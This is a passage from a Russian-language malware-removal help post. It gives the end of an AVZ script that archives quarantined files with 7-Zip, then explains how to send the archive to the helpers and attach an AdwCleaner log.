ExecuteFile(GetAVZDirectory+'7za.exe', 'a -mx9 -pmalware quarantine .\Quarantine\*', 1, 300000, false);
end.
Файл quarantine.7z из папки с распакованной утилитой AVZ отправьте с помощью формы (http://dragokas.com/virusnet/) отправки карантина или на этот почтовый ящик: quarantine <at> safezone.cc (замените <at> на @) с указанием ссылки на тему в теме (заголовке) сообщения и с указанием пароля: malware в теле письма.
К сообщению прикреплять файл quarantine.zip не нужно!
- Подготовьте и прикрепите лог сканирования AdwCleaner (http://www.cyberforum.ru/viruses-faq/thread1239868.html).